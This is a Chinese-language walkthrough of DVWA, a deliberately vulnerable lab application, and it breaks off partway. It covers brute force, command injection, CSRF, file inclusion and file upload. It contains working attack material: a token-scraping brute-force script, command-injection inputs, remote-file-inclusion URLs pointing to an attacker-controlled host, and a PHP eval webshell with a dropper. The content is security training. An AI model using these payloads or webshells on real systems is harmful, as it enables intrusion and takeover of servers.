DVWA实践

Web漏洞原理

1. DVWA环境搭建

Warmpserver+DVWA

2. Brute Force(暴力破解)

暴力破解指的是攻击者利用字典来穷举拆解出用户的账号和密码。

2.1 Low

代码：

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "Welcome to the password protected area {$user}";
        echo "";
    }
    else {
        // Login failed
        echo "
Username and/or password incorrect.";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

服务器没有对user和password进行过滤处理，可能存在sql注入：
username:admin' and 1=1 -- -
password:123

Screenshot-2018-3-12 Vulnerability Brute Force Damn Vulnerable Web Application (DVWA) v1 10 Development .png-54.2kB

果然，登陆成功。
利用Burpsuite爆破admin的密码为password：

1.png-103.2kB

2.2 Medium

代码：

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "Welcome to the password protected area {$user}";
        echo "";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "
Username and/or password incorrect.";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

对输入的username和password进行了过滤，基本可以防止sql注入
(MySQL5.5.37以下版本如果设置编码为GBK，能够构造编码绕过mysql_real_escape_string 对单引号的转义：宽字符注入)

宽字符注入
条件：编码为GBK，函数mysql_real_escape_string或addslashes()
原理：payload=%df%27，mysql_real_escape_string或addslashes() 函数转义单引号'(%27)之后变成%df%5c527(%df'),在GBK编码表中，df5c是一个宽字符,也就是“縗”，从而使单引号'逃脱了转义字符\，从而造成了注入。

虽然我所用的MySQL版本比较新，不能用宽字符注入，但是依然可以用Burpsuite暴力破解：

aaaa.png-95.7kB

2.3 High

代码：

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "Welcome to the password protected area {$user}";
        echo "";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "
Username and/or password incorrect.";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

对username和password进行了过滤，防止sql注入，同时加入了Anti-CSRF token，关键就是要拿到这个token再进行爆破：
python脚本：

from bs4 import BeautifulSoup
from urllib import request
url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php'
header={'Host': '192.168.0.115',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'http://192.168.0.115/dvwa/vulnerabilities/brute/index.php',
'Cookie': 'security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7'}
def gettoken(url,header):
    req=request.Request(url=url,headers=header)
    response=request.urlopen(req)
    page=response.read()
    soup=BeautifulSoup(page,"html.parser")
    user_token=soup.find('input',attrs={'name':'user_token'})['value']
    print(response.getcode(),len(page))
    return user_token
user_token=gettoken(url,header)
for line in open('E:/CTF/Dictionary/rkolin.txt'):
    url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php?username=admin&password='+line.strip()+'&Login=Login&user_token='+user_token
    print('admin',line.strip())
    user_token=gettoken(url=url,header=header)

运行结果：

200 5210
admin password
200 5402
admin 123456789
200 5262
admin 1234567890
200 5262
admin a123456789
200 5262
admin 123456
200 5262
admin qq123456
200 5262
admin abc123456
200 5262
admin 123456789a
200 5262
admin WOAINI1314
200 5262
admin 12345678
200 5262
admin 11111111
200 5262
admin 123123123
200 5262
admin 88888888
200 5262
admin 111111111
200 5262
admin 147258369
200 5262
...

利用Burpsuite来查看运行结果更加直观（cmd设置代理：set http_proxy=127.0.0.1:8080,再在cmd中运行python脚本即可，取消代理设置只需要输入set http_proxy=）

ssss.png-185.9kB

2.4 Impossible

代码：

prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "
This account has been locked due to too many incorrect logins.";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "
";
        print "The timenow is: " . date ("h:i:s", $timenow) . "
";
        print "The timeout is: " . date ("h:i:s", $timeout) . "
";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked
";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "Welcome to the password protected area {$user}";
        echo "";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "Warning: Someone might of been brute forcing your account.";
            echo "Number of login attempts: {$failed_login}.
Last login attempt was at: ${last_login}.";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "
Username and/or password incorrect.

Alternative, the account has been locked because of too many failed logins.
If this is the case, please try again in {$lockout_time} minutes.";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入了输错密码3次就15分钟后再试的防爆破保护机制。

3. Command Injection(命令注入)

命令注入漏洞指的是通过提交恶意构造的参数来破坏命令语句结构，如果没有对输入的字符进行限制和过滤，从而达到执行恶意命令的目的，获取服务器的信息。

3.1 Low

代码：

{$cmd}

";
}

?>

服务器对输入的内容没有做过滤，输入：127.0.0.1&&net user得到：

Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-55.4kB

3.2 Medium

代码：

 '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "{$cmd}";
}

?>

服务器只对'&&',';'进行了过滤,于是可以输入127.0.0.1&net user实现命令注入：

&和&&的区别
&会执行两边，不管第一个是否成立，&&只会执行一边，如果第一个条件为假，则不会走第二个条件

Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-55.5kB

3.3 High

代码：

 '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "{$cmd}";
}

?>

服务器对多个字符进行了过滤，但是‘| ’左边是个空格，所以依然可以用|来实现命令注入：
127.0.0.1|net user

Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (2).png-36.9kB

3.4 Impossible

代码：

{$cmd}

";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo 'ERROR: You have entered an invalid IP.';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

从上面可见，设置黑名单难免会有疏漏，找到可以绕过的方法，但是impossible是设置白名单，只允许IP：数字.数字.数字.数字的形式。

4. Cross Site Request Forgery (CSRF，跨站请求伪造)

跨站请求伪造指的是攻击者诱使客户机点击精心构造的恶意链接或者访问包含攻击代码的网页，从而利用客户机尚未失效的认证信息（如cookie）向服务器发送请求，完成转账，修改密码等非法操作。
CSRF并没有盗取受害者的cookie，而是直接利用cookie。

4.1 Low

代码：

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

        // Feedback for the user
        echo "Password Changed.";
    }
    else {
        // Issue with passwords matching
        echo "Passwords did not match.";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

构造攻击链接
没有加入token验证，没有在请求包中添加限制，直接构造链接诱使客户端A点击即可修改密码：http://192.168.0.115/dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change#,csrf的关键是利用客户端A的cookie来向服务器B发送伪造请求，所以换了浏览器来点击这个链接，攻击就不会触发了。
构造攻击页面（放在攻击者的服务器中）
将攻击链接放到一个页面里，诱使客户端A访问这个页面。



404


file not found.

测试：
客户端A：虚拟机
服务器B：192.168.0.115（正常的服务器）
服务器C：192.168.0.102（攻击者的服务器）
A访问192.168.0.102/csrf.html，触发了csrf攻击，密码被修改。

asdf.png-6.5kB

4.2 Medium

代码：

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

            // Feedback for the user
            echo "Password Changed.";
        }
        else {
            // Issue with passwords matching
            echo "Passwords did not match.";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "That request didn't look correct.";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

在stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])中查找了host在referer中出现的位置，说明host:192.168.0.115必须在referer中出现。
尝试了一下用Modify headers添加了referer：192.168.0.115,成功绕过了限制,当然现实当中你是无法修改到客户端A的headers请求的。

GET /dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
Referer: 192.168.0.115
Connection: close
Upgrade-Insecure-Requests: 1

asfdsf.png-10.6kB

所以，我们继续构造一个攻击页面(放在服务器C中)诱使客户端A点击，令页面名为： 192.168.0.115.html，即可在referer中出现 192.168.0.115了。



404


file not found.

asdfg.png-6.6kB

gadf.png-38.9kB

Accept:image/webp,image/*,*/*;q=0.8
Accept-Encoding:gzip, deflate, sdch
Accept-Language:zh-CN,zh;q=0.8
Cache-Control:max-age=0
Connection:keep-alive
Cookie:security=low; PHPSESSID=5i5e7981afgjqbd8ve9i1r23d7
Host:192.168.0.115
Referer:http://192.168.0.102/192.168.0.115.html
User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36

4.3 High

代码：

' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '

' );

        // Feedback for the user
        echo "Password Changed.";
    }
    else {
        // Issue with passwords matching
        echo "Passwords did not match.";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

服务器添加了anti CSRF-token，需要验证token才能更改密码。同样的思路，构造攻击页面放在攻击者的服务器中，页面中写入脚本来获取客户端A的token。

但是涉及到同源策略：

同源：两个页面的协议，端口（如果有指定）和域名都相同，则两个页面具有相同的源。
因为C：192.168.0.102，B：192.168.0.115，虽然两者协议都是http，端口没指定，但是两者不是同一个域名（IP）,则不同源。
服务器C中的脚本不能用来请求获取服务器B中的内容，值得注意的是，同源策略限制的是脚本嵌入的文本来源，而不是脚本本身，以此来防止恶意脚本读取内容。

这里可以结合XSS来获取用户的token，XSS+CSRF达到修改用户密码的目的。
在可以注入XSS的页面中，
输入：</code>,<br> 意思是打开<code>http://192.168.0.115/dvwa/vulnerabilities/csrf/</code>,<br> 并且执行语句<code>alert(frames[0].document.getElementsByName('user_token')[0].value)></code>,<br> 此时得到token，再结合CSRF，将token放入构造的链接里，诱使用户点击页面，触发链接，从而达到修改密码的目的。<br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/3ca93aa6a4564404aad08454b0b845ec.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/3ca93aa6a4564404aad08454b0b845ec.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/9l7dyzeqxj7b8mdinxc74kda/asfd.png" alt="DVWA实践_第12张图片" width="650" height="451" style="border:1px solid black;"></a> <div class="image-caption"> asfd.png-88.1kB </div> </div> <p></p> <h3>4.4 Impossible</h3> <p>代码：</p> <pre><code><?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Sanitise current password input $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // Check that the current password is correct $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // Do both new passwords match and does the current password match the user? if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // It does! $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database with new password $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <p>要求输入原始密码，在不知道原始密码的情况下，攻击者很难修改密码。</p> <h1>5. File Inclusion(文件包含)</h1> <p>文件包含漏洞指的是服务器开启了allow_url_include选项，可以利用php的某些函数如include()，require()在url中动态包含文件，如果此时没有对url中的参数进行过滤或者存在可以绕过的漏洞或者没有对文件来源进行限制，就会造成了任意文件读取和任意命令执行的漏洞，文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)。</p> <h3>5.1 Low</h3> <p>代码：</p> <pre><code><?php // The page we wish to display $file = $_GET[ 'page' ]; ?> </code></pre> <p>对传入的page参数什么都没过滤</p> <ul> <li>本地文件包含（LFI）：可以造成任意文件读取和任意命令执行<br> 任意命令执行的话，需要结合文件上传漏洞，上传一句话木马文件，通过本地文件包含来执行木马文件。</li> </ul> <p><code>http://192.168.0.115/dvwa/vulnerabilities/fi/?page=../../phpinfo.php</code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/d62563554c05408a81f170e0db8b262a.png" target="_blank"><img src="http://img.e-com-net.com/image/info10/d62563554c05408a81f170e0db8b262a.png" data-original-src="http://static.zybuluo.com/JasonChiu/cn6b5utpm00xahzdjwnwgw0w/hsbfj.png" alt="DVWA实践_第13张图片" width="750" height="557" style="border:1px solid black;"></a> <div class="image-caption"> hsbfj.png-24.8kB </div> </div> <p></p> <ul> <li>远程文件包含（RFI）：可以造成任意命令执行<br> 前提是服务器B的php配置中，选项allow_url_fopen与allow_url_include为On。<br> <code>http://192.168.0.115/dvwa/vulnerabilities/fi/?page=http://192.168.0.102/phpinfo.php</code><br> 放在攻击者的服务器C（192.168.0.102）中的页面：</li> </ul> <pre><code><?php phpinfo(); ?> </code></pre> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/ee6b3d916c574c50ae927515f0f3efd7.png" target="_blank"><img src="http://img.e-com-net.com/image/info10/ee6b3d916c574c50ae927515f0f3efd7.png" data-original-src="http://static.zybuluo.com/JasonChiu/8voo0guh7aa8f7619mckxezk/adgda.png" alt="DVWA实践_第14张图片" width="765" height="563" style="border:1px solid black;"></a> <div class="image-caption"> adgda.png-23.9kB </div> </div> <h3>5.2 Medium</h3> <p>代码：</p> <pre><code><?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?> </code></pre> <p>对page参数过滤了<code>"http://", "https://","../", "..\""</code>,用的是str_replace来过滤，可以双写来绕过。</p> <ul> <li>LFI</li> </ul> <p><code>http://192.168.0.115/dvwa/vulnerabilities/fi/?page=..././..././phpinfo.php</code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/e8e83b116b4a4f88b8cd44b9aaf193ee.png" target="_blank"><img src="http://img.e-com-net.com/image/info10/e8e83b116b4a4f88b8cd44b9aaf193ee.png" data-original-src="http://static.zybuluo.com/JasonChiu/bavbwj1p9u6oqyj902odli9e/gsfhsd.png" alt="DVWA实践_第15张图片" width="809" height="557" style="border:1px solid black;"></a> <div class="image-caption"> gsfhsd.png-25.8kB </div> </div> <p></p> <ul> <li>RFI</li> </ul> <p><code>http://192.168.0.115/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.0.102/phpinfo.php</code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/dcf737a1cd354637a8dfc2e9f7cab1b1.png" target="_blank"><img src="http://img.e-com-net.com/image/info10/dcf737a1cd354637a8dfc2e9f7cab1b1.png" data-original-src="http://static.zybuluo.com/JasonChiu/st0ohq3b2gx6om0d8z9kt54l/h%20fghdfh.png" alt="DVWA实践_第16张图片" width="750" height="557" style="border:1px solid black;"></a> <div class="image-caption"> h fghdfh.png-23.9kB </div> </div> <p></p> <h3>5.3 High</h3> <p>代码：</p> <pre><code><?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { #匹配以file开头的参数，并且不能有include.php字符 // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?> </code></pre> <p>规定了要以<code>file</code>为开头，可以利用file协议来读取文件,但是要用物理地址。</p> <ul> <li>任意文件读取</li> </ul> <p><code>http://192.168.0.115/dvwa/vulnerabilities/fi/?page=file:///C:/wamp/www/dvwa/phpinfo.php</code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/4bc86ac4f78a4bb3b3b233ce937b9f05.png" target="_blank"><img src="http://img.e-com-net.com/image/info10/4bc86ac4f78a4bb3b3b233ce937b9f05.png" data-original-src="http://static.zybuluo.com/JasonChiu/4adptd1y9jlqq5d6pqd9kcve/fags.png" alt="DVWA实践_第17张图片" width="776" height="552" style="border:1px solid black;"></a> <div class="image-caption"> fags.png-26kB </div> </div> <p></p> <ul> <li>任意命令执行<br> 配合文件上传，上传一个含有我们想要执行的命令的文件到服务器中，通过读取上传的文件从而达到执行任意命令的目的。</li> </ul> <h3>5.4 Impossible</h3> <p>代码：</p> <pre><code><?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?> </code></pre> <p>设置白名单，简单粗暴。</p> <h1>6. File Upload(文件上传)</h1> <p>文件上传漏洞指的是服务器对上传的文件没有进行严格的审查，如对文件类型的限制，对文件内容的审查，对文件大小的限制等，从而使得攻击者可以上传木马文件，获取到服务器的webshell。</p> <h3>6.1 Low</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); #路径+上传的文件名 // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; #爆出上传路径 } } ?> </code></pre> <p>服务器对上传的文件内容，文件名没有进行过滤，而且最后还爆出了上传的路径。<br> 上传一句话木马：</p> <pre><code><?php @eval($_POST['Jason']); ?> </code></pre> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/676b8e27a2194b0983d83c0fabd945d2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/676b8e27a2194b0983d83c0fabd945d2.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/utwd16j44cla5n1z72epnuy4/Screenshot-2018-3-13%20Vulnerability%20File%20Upload%20Damn%20Vulnerable%20Web%20Application%20(DVWA)%20v1%2010%20Development%20.png" alt="DVWA实践_第18张图片" width="650" height="321" style="border:1px solid black;"></a> <div class="image-caption"> Screenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development .png-42.1kB </div> </div> <br> <p>用C刀连接成功：</p> <br> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/f723af94e8eb4c7fbcad51748cf3203f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/f723af94e8eb4c7fbcad51748cf3203f.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/rt9ejda3cu67ep4hlyb0bojn/asgasg.png" alt="DVWA实践_第19张图片" width="650" height="315" style="border:1px solid black;"></a> <div class="image-caption"> asgasg.png-27.6kB </div> </div> <br> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/1eb76dc20ee047d8b921a7c92e965e3b.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/1eb76dc20ee047d8b921a7c92e965e3b.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/xljaedwaxket3yyelzcm07t7/hertuer.png" alt="DVWA实践_第20张图片" width="650" height="395" style="border:1px solid black;"></a> <div class="image-caption"> hertuer.png-31.1kB </div> </div> <ul> <li>上传漏洞的利用条件：</li> </ul> <ol> <li>木马文件上传成功</li> <li>文件可以执行</li> <li>上传路径可知</li> </ol> <h3>6.2 Medium</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; #文件名 $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; #文件类型 $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; #文件大小 // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && #文件类型为image/jpeg，image/png ( $uploaded_size < 100000 ) ) { #文件大小<100000 // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?> </code></pre> <p>对文件类型和文件大小进行了限制，只需要通过Burpsuite修改即可绕过限制上传木马文件，或者将一句话木马写到图片中也可以。</p> <ol> <li>Burpsuite修改（上传之后是php文件）</li> </ol> <hr> <p>a. 修改type（上传的是php文件）</p> <pre><code>Host: 192.168.0.115 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------1687967939550 Content-Length: 447 Referer: http://192.168.0.115/dvwa/vulnerabilities/upload/ Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------1687967939550 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 -----------------------------1687967939550 Content-Disposition: form-data; name="uploaded"; filename="hacktest1.php" Content-Type: application/octet-stream #改成image/jpeg <?php @eval($_POST['Jason']); ?> -----------------------------1687967939550 Content-Disposition: form-data; name="Upload" Upload -----------------------------1687967939550-- </code></pre> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/27a55ea682454b638c88f2e3e4ada2be.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/27a55ea682454b638c88f2e3e4ada2be.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/xtf02cdm4yzyy3m6yx8hqmvv/sdgh.png" alt="DVWA实践_第21张图片" width="650" height="326" style="border:1px solid black;"></a> <div class="image-caption"> sdgh.png-113.4kB </div> </div> <br> <p>上传的是php文件，可以执行，用C刀连接成功。</p> <hr> <p>b. 先将php文件改为png，再修改name后缀（上传的是php文件）</p> <pre><code>POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Host: 192.168.0.115 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: multipart/form-data; boundary=---------------------------2428151903981 Content-Length: 437 Referer: http://192.168.0.115/dvwa/vulnerabilities/upload/ Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------2428151903981 Content-Disposition: form-data; name="MAX_FILE_SIZE" 100000 -----------------------------2428151903981 Content-Disposition: form-data; name="uploaded"; filename="hacktest1.png" #改为hacktest1.php Content-Type: image/png <?php @eval($_POST['Jason']); ?> -----------------------------2428151903981 Content-Disposition: form-data; name="Upload" Upload -----------------------------2428151903981-- </code></pre> <p>用C刀连接成功。</p> <hr> <p>2.图片木马（上传之后是png文件）<br> 下面说的是上传png图片文件，需要通过文件包含漏洞来执行上传的文件，而不能直接通过C刀直接连接，C刀直接连接不能将png文件解析成php文件，所以要用文件包含漏洞来执行文件里的命令，产生一个php文件供C刀连接。</p> <p>利用edjpgcom将一句话木马写到图片里：意思是在当前路径生成一个hack.php文件，内容为一句话木马。<br> <code><?php fputs(fopen('hack.php','w'),'<?php @eval($_POST["hack"]);?>');?></code></p> <p>上传成功后，利用文件包含漏洞执行上传的文件，从而在当前路径产生一个hack.php文件：<br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/0239f7557e6846fb8dad1c5e919273b0.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/0239f7557e6846fb8dad1c5e919273b0.jpg" 